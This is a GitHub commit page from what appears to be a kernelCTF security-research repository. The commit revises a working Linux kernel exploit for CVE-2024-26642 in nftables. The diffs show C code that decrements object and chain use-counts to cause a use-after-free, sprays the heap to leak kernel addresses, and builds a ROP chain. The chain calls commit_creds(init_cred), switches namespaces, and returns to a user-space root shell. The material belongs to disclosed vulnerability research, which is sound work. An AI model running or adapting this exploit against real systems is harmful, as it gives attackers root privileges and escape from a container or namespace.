Skip to content

Commit 820b581

Browse files
conlonialconlonial
committed
Solve comments
1 parent a4feed9 commit 820b581

File tree

10 files changed

+109
-834
lines changed

10 files changed

+109
-834
lines changed

‎pocs/linux/kernelctf/CVE-2024-26642_cos/docs/exploit.md

+2-2
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
# Exploit detail about CVE-2024-26642
2-
If you want to get some base information about CVE-2023-6817, please read [vulnerability.md](./vulnerability.md) first.
2+
If you want to get some base information about CVE-2024-26642, please read [vulnerability.md](./vulnerability.md) first.
33

44
## Background
55
nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem.
@@ -153,4 +153,4 @@ It will trigger the vulnerability as described above. In order to achieve the ef
153153
154154
155155
## Exploit
156-
Because the exploit steps of CVE-2024-26642 is the same as CVE-2023-6817, please read [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md).
156+
Because the exploit steps of CVE-2024-26642 is the same as CVE-2023-6817, please read [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md).

‎pocs/linux/kernelctf/CVE-2024-26642_cos/exploit/cos-105-17412.294.23/chain.h

+5-77
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,13 @@
11
extern int cur_handle;
22
void new_chain(struct nl_sock * socket, char *table_name, char *chain_name, int if_binding){
33
struct nl_msg * msg = nlmsg_alloc();
4-
//(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
54
struct nlmsghdr *hdr1 = nlmsg_put(
65
msg,
76
NL_AUTO_PORT, // auto assign current pid
87
NL_AUTO_SEQ, // begin wit seq number 0
98
NFNL_MSG_BATCH_BEGIN, // TYPE
109
sizeof(struct nfgenmsg),
11-
NLM_F_REQUEST //NLM_F_ECHO
10+
NLM_F_REQUEST
1211
);
1312
struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
1413
h->nfgen_family = 2;//NFPROTO_IPV4;
@@ -23,7 +22,7 @@ void new_chain(struct nl_sock * socket, char *table_name, char *chain_name, int
2322
NL_AUTO_SEQ, // begin wit seq number 0
2423
(NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE
2524
sizeof(struct nfgenmsg),
26-
NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO
25+
NLM_F_REQUEST|NLM_F_CREATE
2726
);
2827
struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
2928
h2->nfgen_family = 2;//NFPROTO_IPV4;
@@ -37,7 +36,7 @@ void new_chain(struct nl_sock * socket, char *table_name, char *chain_name, int
3736
NL_AUTO_SEQ, // begin wit seq number 0
3837
NFNL_MSG_BATCH_END,// TYPE
3938
sizeof(struct nfgenmsg),
40-
NLM_F_REQUEST //NLM_F_ECHO
39+
NLM_F_REQUEST
4140
);
4241
nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name);
4342
nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name);
@@ -54,8 +53,6 @@ void new_chain(struct nl_sock * socket, char *table_name, char *chain_name, int
5453
nlmsg_free(msg);
5554
if (res < 0) {
5655
fprintf(stderr, "sending message failed\n");
57-
} else {
58-
//printf("Create chain %s\n",chain_name);
5956
}
6057
cur_handle++;
6158
}
@@ -68,7 +65,7 @@ struct nlmsghdr * new_chain_msg(char *table_name, char *chain_name, int if_bindi
6865
NL_AUTO_SEQ, // begin wit seq number 0
6966
(NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE
7067
sizeof(struct nfgenmsg),
71-
NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO
68+
NLM_F_REQUEST|NLM_F_CREATE
7269
);
7370
struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
7471
h2->nfgen_family = 2;//NFPROTO_IPV4;
@@ -84,73 +81,6 @@ struct nlmsghdr * new_chain_msg(char *table_name, char *chain_name, int if_bindi
8481
return hdr2;
8582
}
8683

87-
void new_chain_with_hook(struct nl_sock * socket, char *table_name, char *chain_name, int hook_num, int priority){
88-
struct nl_msg * msg = nlmsg_alloc();
89-
//(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
90-
struct nlmsghdr *hdr1 = nlmsg_put(
91-
msg,
92-
NL_AUTO_PORT, // auto assign current pid
93-
NL_AUTO_SEQ, // begin wit seq number 0
94-
NFNL_MSG_BATCH_BEGIN, // TYPE
95-
sizeof(struct nfgenmsg),
96-
NLM_F_REQUEST //NLM_F_ECHO
97-
);
98-
struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
99-
h->nfgen_family = 2;//NFPROTO_IPV4;
100-
h->version = 0;
101-
h->res_id = NFNL_SUBSYS_NFTABLES;
102-
memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
103-
104-
struct nl_msg * msg2 = nlmsg_alloc();
105-
struct nlmsghdr *hdr2 = nlmsg_put(
106-
msg2,
107-
NL_AUTO_PORT, // auto assign current pid
108-
NL_AUTO_SEQ, // begin wit seq number 0
109-
(NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE
110-
sizeof(struct nfgenmsg),
111-
NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO
112-
);
113-
struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
114-
h2->nfgen_family = 2;//NFPROTO_IPV4;
115-
h2->version = 0;
116-
h2->res_id = NFNL_SUBSYS_NFTABLES;
117-
memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
118-
struct nl_msg * msg3 = nlmsg_alloc();
119-
struct nlmsghdr *hdr3 = nlmsg_put(
120-
msg3,
121-
NL_AUTO_PORT, // auto assign current pid
122-
NL_AUTO_SEQ, // begin wit seq number 0
123-
NFNL_MSG_BATCH_END,// TYPE
124-
sizeof(struct nfgenmsg),
125-
NLM_F_REQUEST //NLM_F_ECHO
126-
);
127-
128-
struct nl_msg *hook = nlmsg_alloc();
129-
nla_put_u32(hook, NFTA_HOOK_HOOKNUM, htonl(hook_num));
130-
nla_put_u32(hook, NFTA_HOOK_PRIORITY, htonl(priority));
131-
132-
133-
nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name);
134-
nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name);
135-
nla_put_nested(msg2, NFTA_CHAIN_HOOK, hook);
136-
137-
138-
uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
139-
char *buf = malloc(total_size);
140-
memset(buf,0,total_size);
141-
memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
142-
memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
143-
memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
144-
int res = nl_sendto(socket, buf, total_size);
145-
nlmsg_free(msg);
146-
if (res < 0) {
147-
fprintf(stderr, "sending message failed\n");
148-
} else {
149-
//printf("Create chain %s\n",chain_name);
150-
}
151-
cur_handle++;
152-
}
153-
15484
void del_chain(struct nl_sock * socket, char *table_name, char *chain_name){
15585
struct nl_msg * msg = nlmsg_alloc();
15686
//(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
@@ -160,7 +90,7 @@ void del_chain(struct nl_sock * socket, char *table_name, char *chain_name){
16090
NL_AUTO_SEQ, // begin wit seq number 0
16191
NFNL_MSG_BATCH_BEGIN, // TYPE
16292
sizeof(struct nfgenmsg),
163-
NLM_F_REQUEST //NLM_F_ECHO
93+
NLM_F_REQUEST
16494
);
16595
struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
16696
h->nfgen_family = 2;//NFPROTO_IPV4;
@@ -203,8 +133,6 @@ void del_chain(struct nl_sock * socket, char *table_name, char *chain_name){
203133
nlmsg_free(msg);
204134
if (res < 0) {
205135
fprintf(stderr, "sending message failed\n");
206-
} else {
207-
//printf("Delete chain %s\n",chain_name);
208136
}
209137
}
210138

‎pocs/linux/kernelctf/CVE-2024-26642_cos/exploit/cos-105-17412.294.23/exploit

100644100755
-8.51 KB
Binary file not shown.

‎pocs/linux/kernelctf/CVE-2024-26642_cos/exploit/cos-105-17412.294.23/exploit.c

+42-44
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@
2929
#include "set.h"
3030
#include "chain.h"
3131
#include "rule.h"
32-
32+
#include "rop.h"
3333

3434
char *leak_data = NULL;
3535
int table_num = 0;
@@ -40,7 +40,6 @@ void shell(){
4040
printf("ret2usr success! uid : %d\n",getuid());
4141
char *args[] = {"/bin/sh", "-i", NULL};
4242
execve(args[0], args, NULL);
43-
//while(1);
4443
}
4544

4645
static void save_state() {
@@ -61,7 +60,6 @@ void pin_on_cpu(int cpu) {
6160
perror("sched_setaffinity()");
6261
exit(EXIT_FAILURE);
6362
}
64-
usleep(1000);
6563
}
6664

6765
int setup_sandbox(void) {
@@ -73,15 +71,13 @@ int setup_sandbox(void) {
7371
perror("[-] unshare(CLONE_NEWNET)");
7472
return -1;
7573
}
76-
pin_on_cpu(0);
7774
return 0;
7875
}
7976

8077

8178

8279
void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){
8380
struct nl_msg * msg = nlmsg_alloc();
84-
//(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
8581
struct nlmsghdr *hdr1 = nlmsg_put(
8682
msg,
8783
NL_AUTO_PORT, // auto assign current pid
@@ -133,7 +129,6 @@ int nl_callback_leak_ops(struct nl_msg* recv_msg, void* arg)
133129
printf("Get message back!\n");
134130

135131
if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
136-
//printf("Received NLMSG_ERROR message!\n");
137132
return NL_STOP;
138133
}
139134

@@ -166,10 +161,8 @@ int nl_callback_find_target_setelem(struct nl_msg* recv_msg, void* arg)
166161
struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
167162
struct nlattr * tb_msg[NFTA_SET_MAX+1];
168163
memset(tb_msg, 0, NFTA_SET_MAX * 8);
169-
//printf("Get message back!\n");
170164

171165
if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
172-
//printf("Received NLMSG_ERROR message!\n");
173166
return NL_STOP;
174167
}
175168

@@ -189,7 +182,6 @@ int nl_callback_find_target_setelem(struct nl_msg* recv_msg, void* arg)
189182
nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL);
190183
char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_KEY]));
191184
nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_KEY], nla_len(tb_msg3[NFTA_SET_ELEM_KEY]));
192-
//printf("Get key : %llx\n", *(uint64_t *)(val+4));
193185
uint32_t udata_len = nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]);
194186
if(udata_len != 0xa1)
195187
printf("udata len : %d\n",udata_len);
@@ -229,7 +221,7 @@ void spray_tables(struct nl_sock * socket, int count, char *udata, int size){
229221

230222
//make target_obj->use = target_obj->use - repeat_time
231223

232-
void primitive_0(struct nl_sock *socket, char *table, char *target_obj, int repeat_time){
224+
void primitive_decrease_nft_object_use(struct nl_sock *socket, char *table, char *target_obj, int repeat_time){
233225
char *pad = malloc(0x100);
234226
memset(pad,0x41,0x100);
235227
int i,j;
@@ -253,7 +245,7 @@ void primitive_0(struct nl_sock *socket, char *table, char *target_obj, int repe
253245

254246
//make target_chain->use = target_chain->use - repeat_time
255247

256-
void primitive_1(struct nl_sock *socket, char *table, char *target_chain, int repeat_time){
248+
void primitive_decrease_nft_chain_use(struct nl_sock *socket, char *table, char *target_chain, int repeat_time){
257249
char *pad = malloc(0x100);
258250
memset(pad,0x41,0x100);
259251
int i,j;
@@ -319,25 +311,24 @@ void leak_and_prepare_rop(struct nl_sock *socket){
319311
new_setelem(socket, table, hash_set_2, pad, 0x100, target_obj, &hash_key, 8, NULL, 0, 0);
320312
//step 3
321313
//make target_obj->use = 0xa5 - 0xa5 = 0
322-
primitive_0(socket, table, target_obj, 0xa5);
323-
sleep(2);
314+
primitive_decrease_nft_object_use(socket, table, target_obj, 0xa5);
315+
sleep(2);//Waiting the function nf_tables_commit which finally call nft_setelem_data_deactivate
324316

325317
//step 4
326318
//delete target obj
327319
del_obj(socket, table, target_obj, NFT_OBJECT_CT_EXPECT);
328-
sleep(2);
320+
sleep(2);//Waiting the function nft_commit_release which finally call nft_obj_destroy
329321
//step 5
330322
//get heap back
331323
for(i=0;i<0x1000;i++){
332-
//printf("%d\n",i);
333324
*(uint64_t *)pad = i;
334325
hash_key = i;
335326
new_setelem_with_elemdata(socket, table, hash_set, pad, 0xa1, &hash_key, 8, NULL, 0,0);
336327
}
337328
//step 6
338329
//call elem_flush to free all the elements of the pipapo set, make setelem->udata_len = 0xfc
339330
elem_flush(socket, table, pipapo_set);
340-
sleep(2);
331+
sleep(2);//Waiting the function nft_commit_release which finally call nf_tables_set_elem_destroy
341332
//step 7 Get leak data
342333

343334
struct nl_sock * socket2 = nl_socket_alloc();
@@ -357,14 +348,14 @@ void leak_and_prepare_rop(struct nl_sock *socket){
357348
nl_recvmsgs_default(socket2);
358349
nl_recvmsgs_default(socket2);
359350
}
360-
uint64_t obj_a = *(uint64_t *)&leak_data[0xcb];
351+
uint64_t obj_a = *(uint64_t *)&leak_data[0xcb];//0xcb and 0xcb+8 are in the nft_obj->list.next and nft_obj->list.prev structures of the adjacent set elements created in step 5.
361352
uint64_t obj_b = *(uint64_t *)&leak_data[0xcb+8];
362353
printf("leak obj A heap : %llx\n",obj_a);
363354
printf("leak obj B heap : %llx\n",obj_b);
364355

365356
//step 8 Delete all the set elements created in step 5
366357
elem_flush(socket, table, hash_set);
367-
sleep(2);
358+
sleep(2);//Waiting the function nft_commit_release which finally call nf_tables_set_elem_destroy
368359
*(uint64_t *)&pad[0x20] = obj_a + 0x80;
369360
spray_tables(socket,0x400, pad, 0xcc);
370361
printf("spray finish\n");
@@ -381,30 +372,30 @@ void leak_and_prepare_rop(struct nl_sock *socket){
381372
nl_recvmsgs_default(socket2);
382373
printf("Leak end.\n");
383374
printf("Start preparing ROP gadget in heap.\n");
384-
kernel_off = leak_ops - 0xFFFFFFFF82ACB840;
375+
kernel_off = leak_ops - NFT_CT_EXPECT_OBJ_OPS; //nft_ct_expect_obj_ops
385376
char *ops = malloc(0x100);
386377
//ops->dump
387-
*(uint64_t *)&ops[0x40] = kernel_off + 0xFFFFFFFF81519693;//leave ; ret
378+
*(uint64_t *)&ops[0x40] = kernel_off + LEAVE_RET;
388379
//ops->type
389-
*(uint64_t *)&ops[0x70] = kernel_off + 0xFFFFFFFF8371BF00;//last type
380+
*(uint64_t *)&ops[0x70] = kernel_off + NFT_LAST_TYEP;//nft_last_type
390381

391-
*(uint64_t *)&ops[0x08] = kernel_off + 0xffffffff81081910;//pop rdi; ret
392-
*(uint64_t *)&ops[0x10] = kernel_off + 0xFFFFFFFF83462180;//init_cred
393-
*(uint64_t *)&ops[0x18] = kernel_off + 0xFFFFFFFF8110E830;//commit_creds;
394-
*(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff81068153;//pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
382+
*(uint64_t *)&ops[0x08] = kernel_off + POP_RDI_RET;
383+
*(uint64_t *)&ops[0x10] = kernel_off + INIT_CRED;
384+
*(uint64_t *)&ops[0x18] = kernel_off + COMMIT_CREDS;
385+
*(uint64_t *)&ops[0x20] = kernel_off + POP_RDI_POP_R14_POP_R13_POP_R12_POP_RBP_POP_RBX_RET;
395386
*(uint64_t *)&ops[0x28] = 1;
396-
*(uint64_t *)&ops[0x58] = kernel_off + 0xFFFFFFFF81105680;//find_task_by_vpid
397-
*(uint64_t *)&ops[0x60] = kernel_off + 0xFFFFFFFF8106815A;//pop rbp ; pop rbx ; ret ; because ops->0x70 is the last_type
398-
*(uint64_t *)&ops[0x78] = kernel_off + 0xffffffff8102c701;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
399-
*(uint64_t *)&ops[0x88] = kernel_off + 0xFFFFFFFF817E4E5E;//pop rsi ; ret
400-
*(uint64_t *)&ops[0x90] = kernel_off + 0xFFFFFFFF83461F40;//init_nsproxy
401-
*(uint64_t *)&ops[0x98] = kernel_off + 0xFFFFFFFF8110CE30;//switch_task_namespaces
402-
*(uint64_t *)&ops[0xa0] = kernel_off + 0xFFFFFFFF82002117;//swapgs; ret
403-
*(uint64_t *)&ops[0xa8] = kernel_off + 0xFFFFFFFF822011A7;//iretq
387+
*(uint64_t *)&ops[0x58] = kernel_off + FIND_TASK_BY_VPID;
388+
*(uint64_t *)&ops[0x60] = kernel_off + POP_RBP_POP_RBX_RET;// because ops->0x70 is the last_type
389+
*(uint64_t *)&ops[0x78] = kernel_off + MOV_RDI_RAX_MOV_EAX_EBX_POP_RBX_OR_RAX_RDI_RET;
390+
*(uint64_t *)&ops[0x88] = kernel_off + POP_RSI_RET;
391+
*(uint64_t *)&ops[0x90] = kernel_off + INIT_NSPROXY;
392+
*(uint64_t *)&ops[0x98] = kernel_off + SWITCH_TASK_NAMESPACES;
393+
*(uint64_t *)&ops[0xa0] = kernel_off + SWAPGS_RET;
394+
*(uint64_t *)&ops[0xa8] = kernel_off + IRETQ;
404395
*(uint64_t *)&ops[0xb0] = (uint64_t)shell;
405396
*(uint64_t *)&ops[0xb8] = user_cs;
406397
*(uint64_t *)&ops[0xc0] = user_rflags;
407-
*(uint64_t *)&ops[0xc8] = user_rsp|8;
398+
*(uint64_t *)&ops[0xc8] = user_rsp|8;//(You don't need to add '|8' when exploiting kernelctf.vrp.ctfcompetition.com:1337) It seems that without this '|8', a stack error will occur during github pull check. I haven't studied why this problem occurs, but I guess it has something to do with the stack alignment when returning to the function shell.
408399
*(uint64_t *)&ops[0xd0] = user_ss;
409400
//step 11
410401
//free the last object.
@@ -432,14 +423,14 @@ void jmp_rop(struct nl_sock * socket){
432423
cur_handle = 0;
433424
new_chain(socket, table, target_chain, 0);
434425

435-
new_set_pipapo_for_chain(socket, table, pipapo_set, 0x40);
436-
new_set_hashtable_with_elemdata(socket, table, hash_set_for_expr, 0x30, 0x10);
426+
new_set_pipapo_for_chain(socket, table, pipapo_set, 0x40);// Here 0x40 has no special meaning. The old code is reused.
427+
new_set_hashtable_with_elemdata(socket, table, hash_set_for_expr, 0x30, 0x10); //Here 0x30 has no special meaning. The old code is reused.But it will affect the pad_len parameter used when we call the new_setelem_with_expr_and_elemdata function in step 4, because we need to make the element size created in step 4 and nft_chain in the same cache (kmalloc-128).
437428
nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
438429

439430
//step 1
440431
//create some elements to make chain->use = 0x20
441432

442-
char *pad = malloc(0x100);
433+
char *pad = malloc(0x100); //Here 0x100 has no special meaning. The old code is reused.
443434
memset(pad,0x41,0x100);
444435
char *key = malloc(0x40);
445436
char *key_end = malloc(0x40);
@@ -454,7 +445,7 @@ void jmp_rop(struct nl_sock * socket){
454445

455446
//step 2 trigger vul to make chain->use = 0
456447

457-
primitive_1(socket, table, target_chain, 0x20);
448+
primitive_decrease_nft_chain_use(socket, table, target_chain, 0x20);
458449
//step 3 delete target chain
459450

460451
del_chain(socket, table, target_chain);
@@ -481,19 +472,26 @@ void jmp_rop(struct nl_sock * socket){
481472

482473
}
483474

475+
struct nl_sock * setup_nl_socket(){
476+
struct nl_sock * socket = nl_socket_alloc();
477+
478+
if(nfnl_connect(socket)<0){
479+
printf("nfnl_connect fail!\n");
480+
return NULL;
481+
}
482+
return socket;
483+
}
484484

485485
int main(void) {
486486
if (setup_sandbox() < 0){
487487
printf("Create sandbox fail!\n");
488488
return 0;
489489
}
490+
pin_on_cpu(0);
490491
save_state();
491-
struct nl_sock * socket = nl_socket_alloc();
492-
493-
if(nfnl_connect(socket)<0){
494-
printf("nfnl_connect fail!\n");
495-
return 0;
496-
}
492+
struct nl_sock * socket = setup_nl_socket();
493+
if(socket == NULL)
494+
return 0;
497495

498496
leak_and_prepare_rop(socket);
499497
jmp_rop(socket);

0 commit comments

Comments
 (0)